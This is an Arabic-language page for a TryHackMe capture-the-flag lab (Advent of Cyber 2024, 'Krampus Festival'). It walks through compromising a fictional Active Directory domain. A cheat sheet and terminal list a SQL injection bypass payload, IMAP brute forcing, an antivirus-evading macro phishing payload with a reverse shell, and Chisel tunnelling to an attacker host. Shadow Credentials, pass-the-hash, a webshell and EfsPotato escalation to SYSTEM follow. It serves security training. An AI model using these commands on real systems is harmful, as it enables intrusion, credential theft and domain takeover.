Lab: krampus festival - STY IT

عن اللاب

Advent of Cyber 2024 — Side Quest 4: Krampus Festival

شركة SOCMAS Corp (نطاق socmas.corp) بقى نظام مراقبة الكاميرات (CCTV) بتاعها ضعيف، ومن هنا بتبدأ سلسلة استغلال كاملة على بيئة Active Directory حقيقية — مش استغلال واحد، لكن رحلة متكاملة من تطبيق ويب هش لحد صلاحية NT AUTHORITY\SYSTEM على Domain Controller.

ده أطول لاب في سلسلة “الخمسة الصقيعية” — بيغطي تقريبًا كل مرحلة من مراحل هجوم AD الكلاسيكي: استطلاع، Phishing متقدم يتخطى الـ Antivirus، Port Forwarding لشبكة داخلية مخفية، BloodHound، وهجوم Shadow Credentials على شهادات AD CS.

الـ Flag النهائي مش على سطح مكتب Administrator زي المتوقع — دوّر بـ tree /f على كل المستخدمين، هتلاقيه في مكان تاني خالص.

Frosty Five Badge

جزء من سلسلة Side Quest — أكمله مع الأربعة الباقيين واحصل على شارة الحدث كامل

مسار الهجوم الكامل

Keycard — SQLi Login Bypass على تطبيق CCTV

تطبيق Wareville CCTV على port 8080 بيقبل admin' or 1=1 -- - في الـ login ويديك دخول مباشر. SQLMap على نفس النقطة بيطلّع جدول تسجيلات فيه مسار فيديو محذوف — زيارته بتكشف الـ Keycard.

admin’ or 1=1 — –sqlmap -r req.txt –dump

Firewall + Recon على الـ Domain

بعد تعطيل الـ Firewall (port 21337)، nmap بيطلّع هوست Windows فيه DNS/Web/SMB/Kerberos(464)/IMAP/SMTP/RDP/WinRM — بس بشكل غريب، LDAP(389) وKerberos(88) الأساسيين لـ AD مش ظاهرين من بره.

nmap -p- IPsocmas.corp · fisher.socmas.corp

Flag 1 — SMB Anonymous + RID Brute-force

مستخدم guest من غير باسورد بيقدر يقرا شير اسمه ChristmasShare فيه Flag 1، ملف Excel بباسوردات محتملة، وصورة “steganography” (مصيدة، مفيهاش حاجة). الـ RID brute-force عبر NetExec بيطلّع قائمة يوزرنيمز.

smbclient //IP/ChristmasSharenxc smb IP -u guest -p ” –rid

Mail Access عبر IMAP Brute-force

Hydra على SMTP بأحد الإيميلات مبتفدش، لكن نفس اليوزر والباسوردات بتنجح على IMAP. جوه الإيميل: طلب من موظف اسمه snowflakes.crawler لمستند فيه بيانات حسابات — دي فرصة الـ Phishing.

hydra -l user -P wordlist IP imapsnowflakes.crawler@socmas.corp

Flag 2 — Phishing يتخطى الـ Antivirus

الهدف بيرفض .docx، بس .docm (ماكرو) مقبول. الحل ثلاث طبقات: ماكرو VBA معتّم (XOR-encoded) بيستخدم WMI Win32_Process بدل Shell() عشان يفلت من الكشف، بينزّل PowerShell script، اللي بدوره بينزّل ويشغّل executable مبني بلغة Go (مش PowerShell عادي) — التركيبة دي بتعدّي الـ AV. النتيجة: reverse shell كمستخدم domain اسمه scrawler، والـ Flag 2 على سطح مكتبه.

obfuscated VBA (WMI Create)Go-compiled reverse shell

PrivescCheck + اكتشاف بورتات داخلية

PrivescCheck (بأحدث إصدار عشان يفلت من الـ AV) بيكشف بيانات WinLogon محفوظة للمستخدم الحالي. netstat -ano بيوريك إن LDAP(389) وKerberos(88) شغالين فعليًا — بس على localhost بس، مش متاحين من بره.

PrivescCheck -Extendednetstat -ano

Chisel Port Forwarding → BloodHound

Chisel بيعمل نفق عكسي يفتح لك LDAP وKerberos من جهازك مباشرة. بعدها LDAP dump وbloodhound-python (مع dnschef لتزييف الـ DNS) بيكشفوا صلاحية GenericWrite لمستخدم Krampus_Debugger على مستخدم اسمه Krampus_Shadow.

chisel client IP:PORT R:389:… R:88:…GenericWrite → Krampus_Shadow

هجوم Shadow Credentials

بالـ GenericWrite، pyWhisker بيضيف شهادة AD CS مزوّرة لحساب Krampus_Shadow من غير ما يغيّر الباسورد بتاعه. الشهادة دي بتتستخدم لطلب TGT (عبر PKINITtools) واستخراج الـ NT hash — وصول WinRM كامل كـ Krampus_Shadow (عضو في جروب IIS اللي عنده صلاحية الكتابة في wwwroot).

pywhisker –action addgettgtpkinit.py → getnthash.py

Flag 3 — Webshell + EfsPotato → SYSTEM

Krampus_Shadow بيقدر يكتب في C:\inetpub\wwwroot، فبنرفع ASP.NET Razor webshell (Index.cshtml) بيشغّل نفس الـ Go binary بتاعنا. النتيجة: shell كـ iis apppool\DefaultAppPool عنده SeImpersonatePrivilege. EfsPotato (متبني على الجهاز نفسه بـ csc.exe) بيدّيك NT AUTHORITY\SYSTEM — والـ Flag الأخير مش على Administrator، لقيناه على سطح مكتب مستخدم اسمه Krampus_Proxy.

EfsPotato.exe → SYSTEMDesktop\Krampus_Proxy

مراحل اللاب

SQLi Bypass

SMB Enum

Phishing

AV Evasion

Port Forward

BloodHound

Shadow Creds

SYSTEM

Commands Cheat Sheet

الأمر	الوصف	المرحلة
admin’ or 1=1 — –	تجاوز تسجيل الدخول في تطبيق CCTV	SQLi
nxc smb IP -u guest -p ” –shares –rid	تعداد الشيرات والمستخدمين بلا مصادقة	SMB
hydra -l user -P wordlist.txt IP imap	Brute-force للوصول لصندوق البريد	Mail
swaks –to victim –attach @krampus.docm –server IP –port 587	إرسال المرفق الخبيث عبر SMTP	Phishing
powershell -ep bypass -c “. .\PrivescCheck.ps1; Invoke-PrivescCheck”	فحص شامل لفرص تصعيد الصلاحيات	PrivEsc
chisel server -reverse –port 51234 (attacker) / chisel client IP:51234 R:389:… R:88:…	فتح نفق لـ LDAP وKerberos الداخليين	Pivot
bloodhound-python -d socmas.corp -c All -u scrawler -p PASS -ns 127.0.0.1	جمع بيانات AD كاملة للتحليل	AD Enum
pywhisker.py -d socmas -u KRAMPUS_DEBUGGER -p PASS –target KRAMPUS_SHADOW –action add	تنفيذ هجوم Shadow Credentials	AD Attack
gettgtpkinit.py -cert-pfx cert.pfx … / getnthash.py -key …	استخراج NT hash من الشهادة المزوّرة	AD Attack
EfsPotato.exe “C:\path\0xb0b.exe”	استغلال SeImpersonatePrivilege للوصول لـ SYSTEM	SYSTEM

Flags والمهام

Flag 1 — ChristmasShare

SQLi keycard · SMB anonymous access · shared drive flag

Flag 1

Flag 2 — User (scrawler)

IMAP brute-force · AV-evading phishing payload · reverse shell

Flag 2

Flag 3 — SYSTEM (Krampus_Proxy)

Shadow Credentials · webshell · EfsPotato · final flag

Flag 3

▶ أدخل الـ Flag الخاص بمهمتك الحالية

Terminal — Krampus Festival Full Attack

root@kali — Krampus

# ── SQLi keycard + SMB ──────────────────────────

└─# sqlmap -r cam_req.txt –dump

table recordings → /recordings/rec1337-deleted.mp4 → Keycard

└─# smbclient //10.10.X.X/ChristmasShare -N; mget *

flag1.txt + approved.xlsx + rid.txt ← Flag 1

# ── Phishing foothold ────────────────────────────

└─# hydra -l developer@test.corp -P approved.txt IP imap

└─# swaks –to snowflakes.crawler@socmas.corp –attach @krampus.docm –server socmas.corp –port 587

[+] connection received — whoami: socmas\scrawler ← Flag 2 (user)

# ── Pivot to AD ──────────────────────────────────

scrawler$ netstat -ano | findstr “389 88”

└─# ./chisel.exe client ATTACKER:51234 R:389:127.0.0.1:389 R:88:127.0.0.1:88

└─# bloodhound-python -d socmas.corp -c All -u scrawler -p PASS -ns 127.0.0.1

KRAMPUS_DEBUGGER –GenericWrite–> KRAMPUS_SHADOW –MemberOf–> KrampusIIS

# ── Shadow Credentials → SYSTEM ──────────────────

└─# pywhisker.py -u KRAMPUS_DEBUGGER -p PASS –target KRAMPUS_SHADOW –action add

└─# gettgtpkinit.py -cert-pfx cert.pfx -pfx-pass PASS socmas/KRAMPUS_SHADOW out.ccache

└─# getnthash.py -key … socmas/KRAMPUS_SHADOW

└─# evil-winrm -i fisher.socmas.corp -u KRAMPUS_SHADOW -H NTHASH

*Evil-WinRM* PS> # upload Index.cshtml webshell → iis apppool\DefaultAppPool

└─# C:\Windows\Temp\EfsPotato.exe C:\path\0xb0b.exe

whoami: nt authority\system

system> tree /f | findstr flag

Krampus_Proxy\Desktop\flag.txt ← Flag 3 (final)

└─#

المهارات المكتسبة

SQL Injection Login Bypass

SMB / RID Enumeration

Phishing Payload Engineering

AV Evasion (Obfuscation)

SSH/Chisel Port Forwarding

BloodHound AD Analysis

Shadow Credentials Attack

SeImpersonate PrivEsc (Potato)

الأدوات المستخدمة

SQLMap / Burp Suiteاستغلال ودمج SQL Injection

NetExec (nxc)تعداد SMB وRID Brute-force وPassword Spraying

swaks + Evolutionإرسال وقراءة البريد الإلكتروني اختبارًا

ChiselPort forwarding لشبكة AD الداخلية

BloodHound + dnschefتحليل علاقات وصلاحيات Active Directory

pywhisker + PKINITtoolsهجوم Shadow Credentials واستخراج NT hash

evil-winrm / EfsPotatoالوصول عن بعد وتصعيد الصلاحيات النهائي

تقدمك في اللاب

0%PROGRESS

0 / 3 Flags مكتملة

ابدأ اللاب على TryHackMe شوف الـ Writeup تحميل Cheat Sheet

Insane · Side Quest 4/5 · Advent of Cyber 2024

Hints

Hint 1 — SQLi Login Bypass−10 XP

Hint 2 — تخطي الـ Antivirus−30 XP

Hint 3 — الوصول لـ LDAP الداخلي−25 XP

Labs مشابهة

Yin and Yang

Insane · Side Quest 2/5

Escaping the Blizzard

Insane · Side Quest 3/5

ICE

Medium · Mimikatz · RDP

Lab: Krampus FestivalPhishing → AD → Domain Compromise